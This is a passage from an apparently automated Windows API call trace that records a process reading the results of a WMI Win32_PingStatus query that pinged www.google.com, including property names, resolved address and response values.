wszName="__CLASS", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460fb0*=0, plFlavor=0x2460fb4*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2460fb0*=8, plFlavor=0x2460fb4*=64) returned 0x0 [0140.387] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.387] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.388] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460fb0*=8, plFlavor=0x2460fb4*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2460fb0*=8, plFlavor=0x2460fb4*=64) returned 0x0 [0140.388] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.388] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.388] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0140.388] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0140.388] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.388] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24610d8*=0, plFlavor=0x24610dc*=0 | out: pVal=0x59eec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b208, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24610d8*=8200, plFlavor=0x24610dc*=64) returned 0x0 [0140.388] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24610d8*=8200, plFlavor=0x24610dc*=64 | out: pVal=0x59eec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b208, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24610d8*=8200, plFlavor=0x24610dc*=64) returned 0x0 [0140.391] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0140.391] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee87c*=0xf, pszText=0x0) returned 0x0 [0140.391] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.391] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0140.391] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee87c*=0xf, pszText=0x0) returned 0x0 [0140.391] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.391] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee888*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee87c | out: pNames=0x59ee87c*="\x01ƀ\x04") returned 0x0 [0140.391] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.391] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.391] SafeArrayGetLBound (in: psa=0x507420, nDim=0x1, plLbound=0x59ee714 | out: plLbound=0x59ee714) returned 0x0 [0140.391] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.391] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.392] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.392] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.392] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.392] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.392] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.392] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.392] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.392] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.392] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.392] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.392] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.392] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.392] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.392] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.392] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.392] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.392] SysStringByteLen (bstr="__PATH") returned 0xc [0140.392] SysStringByteLen (bstr="__PATH") returned 0xc [0140.392] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2462918*=0, plFlavor=0x246291c*=0 | out: pVal=0x59ee878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2462918*=3, plFlavor=0x246291c*=64) returned 0x0 [0140.393] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2462a20*=0, plFlavor=0x2462a24*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2462a20*=8, plFlavor=0x2462a24*=64) returned 0x0 [0140.393] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.393] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.393] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2462ab4*=0, plFlavor=0x2462ab8*=0 | out: pVal=0x59ee878*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2462ab4*=8, plFlavor=0x2462ab8*=64) returned 0x0 [0140.393] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2462b78*=0, plFlavor=0x2462b7c*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2462b78*=8, plFlavor=0x2462b7c*=64) returned 0x0 [0140.393] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.393] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.393] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2462c0c*=0, plFlavor=0x2462c10*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2462c0c*=8, plFlavor=0x2462c10*=64) returned 0x0 [0140.393] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.393] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.393] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2462e50*=0, plFlavor=0x2462e54*=0 | out: pVal=0x59ee878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2462e50*=3, plFlavor=0x2462e54*=64) returned 0x0 [0140.393] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2462f98*=0, plFlavor=0x2462f9c*=0 | out: pVal=0x59ee878*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075a0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b208, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2462f98*=8200, plFlavor=0x2462f9c*=64) returned 0x0 [0140.394] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463008*=0, plFlavor=0x246300c*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2463008*=8, plFlavor=0x246300c*=64) returned 0x0 [0140.394] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.394] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.394] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463090*=0, plFlavor=0x2463094*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2463090*=8, plFlavor=0x2463094*=64) returned 0x0 [0140.394] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.394] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.394] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463164*=0, plFlavor=0x2463168*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2463164*=8, plFlavor=0x2463168*=64) returned 0x0 [0140.394] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.394] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.394] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8bc | out: puCount=0x59ee8bc*=0x2) returned 0x0 [0140.394] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8b8*=0xf, pszText=0x0) returned 0x0 [0140.394] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.394] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8bc | out: puCount=0x59ee8bc*=0x2) returned 0x0 [0140.394] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8b8*=0xf, pszText=0x0) returned 0x0 [0140.395] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.395] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x59ee8c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee8b8 | out: pNames=0x59ee8b8*="\x01ƀ\x04") returned 0x0 [0140.395] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.395] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.395] SafeArrayGetLBound (in: psa=0x507420, nDim=0x1, plLbound=0x59ee750 | out: plLbound=0x59ee750) returned 0x0 [0140.395] SysStringByteLen (bstr="Address") returned 0xe [0140.395] SysStringByteLen (bstr="Address") returned 0xe [0140.395] SysStringByteLen (bstr="BufferSize") returned 0x14 [0140.395] SysStringByteLen (bstr="BufferSize") returned 0x14 [0140.395] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0140.395] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0140.395] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0140.395] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0140.395] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0140.395] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0140.395] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0140.395] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0140.395] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0140.395] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0140.396] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0140.396] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0140.396] SysStringByteLen (bstr="ReplySize") returned 0x12 [0140.396] SysStringByteLen (bstr="ReplySize") returned 0x12 [0140.396] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0140.396] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0140.396] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0140.396] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0140.396] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0140.396] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0140.396] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0140.396] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0140.396] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0140.396] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0140.396] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0140.396] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0140.396] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0140.396] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0140.396] SysStringByteLen (bstr="StatusCode") returned 0x14 [0140.396] SysStringByteLen (bstr="StatusCode") returned 0x14 [0140.396] SysStringByteLen (bstr="Timeout") returned 0xe [0140.396] SysStringByteLen (bstr="Timeout") returned 0xe [0140.396] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0140.397] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0140.397] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0140.397] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0140.397] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0140.397] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0140.397] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0140.397] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0140.397] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0140.397] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0140.397] SysStringByteLen (bstr="TypeofService") returned 0x1a [0140.397] SysStringByteLen (bstr="TypeofService") returned 0x1a [0140.397] IWbemClassObject:Get (in: This=0x4f432d8, wszName="Address", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24638c0*=0, plFlavor=0x24638c4*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x24638c0*=8, plFlavor=0x24638c4*=0) returned 0x0 [0140.397] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.397] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.397] IWbemClassObject:Get (in: This=0x4f432d8, wszName="BufferSize", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463950*=0, plFlavor=0x2463954*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2463950*=19, plFlavor=0x2463954*=0) returned 0x0 [0140.398] IWbemClassObject:Get (in: This=0x4f432d8, wszName="NoFragmentation", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24639c0*=0, plFlavor=0x24639c4*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24639c0*=11, plFlavor=0x24639c4*=0) returned 0x0 [0140.398] IWbemClassObject:Get (in: This=0x4f432d8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463bf8*=0, plFlavor=0x2463bfc*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463bf8*=19, plFlavor=0x2463bfc*=0) returned 0x0 [0140.398] IWbemClassObject:Get (in: This=0x4f432d8, wszName="ProtocolAddress", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463c68*=0, plFlavor=0x2463c6c*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="172.217.18.100", varVal2=0x0), pType=0x2463c68*=8, plFlavor=0x2463c6c*=0) returned 0x0 [0140.398] SysStringByteLen (bstr="172.217.18.100") returned 0x1c [0140.398] SysStringByteLen (bstr="172.217.18.100") returned 0x1c [0140.398] IWbemClassObject:Get (in: This=0x4f432d8, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463cf8*=0, plFlavor=0x2463cfc*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x2463cf8*=8, plFlavor=0x2463cfc*=32) returned 0x0 [0140.398] SysStringByteLen (bstr="") returned 0x0 [0140.398] SysStringByteLen (bstr="") returned 0x0 [0140.399] IWbemClassObject:Get (in: This=0x4f432d8, wszName="RecordRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463d5c*=0, plFlavor=0x2463d60*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463d5c*=19, plFlavor=0x2463d60*=0) returned 0x0 [0140.399] IWbemClassObject:Get (in: This=0x4f432d8, wszName="ReplyInconsistency", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463e58*=0, plFlavor=0x2463e5c*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463e58*=11, plFlavor=0x2463e5c*=0) returned 0x0 [0140.399] IWbemClassObject:Get (in: This=0x4f432d8, wszName="ReplySize", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463ec8*=0, plFlavor=0x2463ecc*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2463ec8*=19, plFlavor=0x2463ecc*=0) returned 0x0 [0140.399] IWbemClassObject:Get (in: This=0x4f432d8, wszName="ResolveAddressNames", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463f38*=0, plFlavor=0x2463f3c*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463f38*=11, plFlavor=0x2463f3c*=0) returned 0x0 [0140.400] IWbemClassObject:Get (in: This=0x4f432d8, wszName="ResponseTime", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2463fa8*=0, plFlavor=0x2463fac*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x2463fa8*=19, plFlavor=0x2463fac*=0) returned 0x0 [0140.400] IWbemClassObject:Get (in: This=0x4f432d8, wszName="ResponseTimeToLive", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464018*=0, plFlavor=0x246401c*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x71, varVal2=0x0), pType=0x2464018*=19, plFlavor=0x246401c*=0) returned 0x0 [0140.400] IWbemClassObject:Get (in: This=0x4f432d8, wszName="RouteRecord", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464088*=0, plFlavor=0x246408c*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464088*=8200, plFlavor=0x246408c*=32) returned 0x0 [0140.400] IWbemClassObject:Get (in: This=0x4f432d8, wszName="RouteRecordResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24640ec*=0, plFlavor=0x24640f0*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24640ec*=8200, plFlavor=0x24640f0*=32) returned 0x0 [0140.400] IWbemClassObject:Get (in: This=0x4f432d8, wszName="SourceRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464150*=0, plFlavor=0x2464154*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x2464150*=8, plFlavor=0x2464154*=0) returned 0x0 [0140.400] SysStringByteLen (bstr="") returned 0x0 [0140.400] SysStringByteLen (bstr="") returned 0x0 [0140.400] IWbemClassObject:Get (in: This=0x4f432d8, wszName="SourceRouteType", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24641b4*=0, plFlavor=0x24641b8*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24641b4*=19, plFlavor=0x24641b8*=0) returned 0x0 [0140.401] IWbemClassObject:Get (in: This=0x4f432d8, wszName="StatusCode", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464224*=0, plFlavor=0x2464228*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464224*=19, plFlavor=0x2464228*=0) returned 0x0 [0140.401] IWbemClassObject:Get (in: This=0x4f432d8, wszName="Timeout", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24646d8*=0, plFlavor=0x24646dc*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x24646d8*=19, plFlavor=0x24646dc*=0) returned 0x0 [0140.401] IWbemClassObject:Get (in: This=0x4f432d8, wszName="TimeStampRecord", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464748*=0, plFlavor=0x246474c*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2464748*=8211, plFlavor=0x246474c*=32) returned 0x0 [0140.401] IWbemClassObject:Get (in: This=0x4f432d8, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24647ac*=0, plFlavor=0x24647b0*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24647ac*=8200, plFlavor=0x24647b0*=32) returned 0x0 [0140.402] IWbemClassObject:Get (in: This=0x4f432d8, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, 